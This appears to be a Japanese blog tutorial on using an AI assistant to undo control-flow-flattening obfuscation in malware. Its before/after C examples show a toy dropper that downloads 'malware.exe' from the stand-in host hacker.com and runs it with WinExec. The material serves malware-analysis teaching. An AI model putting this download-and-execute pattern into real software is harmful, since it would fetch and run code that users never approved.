こんにちは、粘り強いセキュリティ研究者の皆さん!🕵️♂️
マルウェア分析をしていると、時々「これを作った人の性格はどれだけひねくれているんだ?」と思うほど複雑なコードに出くわすことがあります。
コードが上から下へ順序通りに実行されるのではなく、GOTO文を乱用してあちこち飛び回る…まるで絡まったイヤホンコードやラーメンの麺のようにねじれたコードのことです。🧶
私たちはこれを「スパゲッティコード(Spaghetti Code)」、または専門用語で「制御フロー平坦化(Control Flow Flattening)」されたコードと呼びます。
人間の脳は順次的な(Linear)流れを好みますが、コンピューターはジャンプ(Jump)を好みます。攻撃者はこの点を利用して分析者を苦しめます。
今日は、私たちのAIアシスタントに「この絡まった糸を解いて、順序通りに整理して!」と指示する制御フロー復元(Deobfuscation)の実習を行ってみましょう。🛠️

1. 制御フロー平坦化(Control Flow Flattening)とは何ですか? 🤔
正常なプログラムは通常、[ A → B → C ] の順序で実行されます。
しかし、難読化ツールはこれを細かく分割し、巨大なSwitch文の中にまとめて順序を入れ替えます。
- 正常: Aを実行し、Bを実行し、Cを実行する。
- 難読化:
- 状態変数 state = 1
- whileループ開始
- stateが1ならAを実行し、state = 3に変更。
- stateが2ならCを実行し、終了する。
- stateが3ならBを実行し、state = 2に変更。
結局、実行順序はA → B → Cですが、コードを目で見ると1 → 3 → 2と行ったり来たりして、全く頭に入ってきません。😵💫
2. [実践] 絡まったコードの準備 (Before) 🌪️
さあ、ここに実際のマルウェアでよく見られる形式の「スイッチディスパッチャ(Switch Dispatcher)」パターンコードがあります。目で一度追ってみてください。(おそらく目が回るでしょう。)
C
// 🤮 難読化されたスパゲッティコード
void MaliciousFunction() {
int state = 10; // 開始状態
char* url = "";
char* file = "";
while (state != 99) { // 無限ループのように見える
switch(state) {
case 20:
// ファイル実行
WinExec(file, 1);
state = 99; // 終了状態に変更
break;
case 10:
// URL設定
url = "http://hacker.com/malware.exe";
state = 30; // 次はどこへ?
break;
case 40:
// ファイル保存
WriteFile(file, downloaded_data);
state = 20; // 次はどこへ?
break;
case 30:
// ダウンロード試行
file = "C:\Temp\malware.exe";
Download(url, file);
if (CheckFileExists(file)) {
state = 40; // 成功したら40へ
} else {
state = 99; // 失敗したら終了
}
break;
}
}
}
このコードを分析するには、case 10を見て、stateが30になったらcase 30を探しに下へ行き、またcase 40を探しに上へ戻る… 🎢 目がくらみます。
3. AIに「平文(Linear Code)」変換を依頼する 🗣️
次に、AIにこのコードを「論理的な実行順序」で再配置するよう依頼しましょう。ここで重要なのは、「状態変数(state)の流れを追跡せよ」と明示することです。
📝 プロンプト (Prompt)
[役割] あなたはリバースエンジニアリングの専門家です。
>
[状況] 現在分析中のCコードは「Control Flow Flattening(制御フロー平坦化)」技術で難読化されています。whileループとswitch文を使用して実行フローを混乱させています。
>
[要求事項]
>
1. state変数の値の変化を追跡し、コードが実際に実行される順序を把握してください。
2. 複雑なwhile-switch構造を削除し、上から下へ流れる平文(Linear)形式の擬似コード(Pseudocode)に変換してください。
3. goto文を使用せず、if-elseと関数呼び出しのみで簡潔に整理してください。
>
[コード]
>
(上記の難読化コードを貼り付け)
4. [結果] まっすぐに伸びたコードの確認 (After) ✨
AIがstate変数を追跡(Tracing)して、ごちゃ混ぜになった断片を順序通りに並べました。結果を見てみましょう。
C
// 😍 AIが整理した平文コード (難読化解除済み)
void MaliciousFunction_Cleaned() {
// 1. [State 10] 初期設定
char* url = "http://hacker.com/malware.exe";
// 2. [State 30] ダウンロードとファイルパス設定
char* file = "C:\Temp\malware.exe";
Download(url, file);
// 3. [State 30の分岐] ダウンロード成功の確認
if (CheckFileExists(file)) {
// 4. [State 40] ファイル保存 (成功時)
WriteFile(file, downloaded_data);
// 5. [State 20] ファイル実行
WinExec(file, 1);
} else {
// [State 99] 失敗時に終了
return;
}
// [State 99] 正常終了
return;
}
🔍 何が改善されましたか?
- 可読性100倍向上: whileとswitchがなくなり、コードが上から下へ水が流れるように読めます。
- フローの把握:
- URL設定 (State 10)
- ダウンロード (State 30)
- 成功したら?保存(State 40)して実行(State 20)
- 失敗したら?終了(State 99)
- 悪性行為の識別: これでようやく「ああ、ダウンロードしてファイルがあれば実行するドロッパー(Dropper)なのか!」と一目で把握できます。
- 状態変数の探し方: このような難読化パターンで最も重要なのは、「信号機」の役割を果たす変数(state、v1、flagなど)を見つけることです。AIに「この変数が信号機だよ」と教えてあげると、よりうまく解決します。
- 複雑なら分割して: caseが100を超える場合もあります。このような時は一度にすべて入力せず、以前学んだ「チャンク分割」を利用して、「case 1~10のフローを整理して」、「case 11~20を整理して」というように分けて進めてください。
- Opaque Predicate (不透明な条件): 時々、if (3 * 3 == 9) のように常に真なのに条件文のふりをするコードが混ざっていることがあります。AIに「常に真/偽である偽の条件文も削除して」と追加で依頼してください。
5. 実習のヒントと注意事項 🍯
🎉 終わりに
今日、私たちはAIの力を借りて、スパゲッティのように絡まったコードを箸でつまみ上げるようにまっすぐに伸ばしてみました。🍜
この技術はマルウェア分析だけでなく、他人が書いた難解なレガシーコードを分析する際にも非常に役立ちます。
これで複雑なswitch文に出くわしても怖がらず、「AI、これを行儀よく並べて!」と叫んでみてください。
次回は、これまで学んだ静的分析(Static Analysis)の内容を総合して、AIが自ら分析レポートを作成する魔法を披露します。お楽しみに!👋
コメントを残す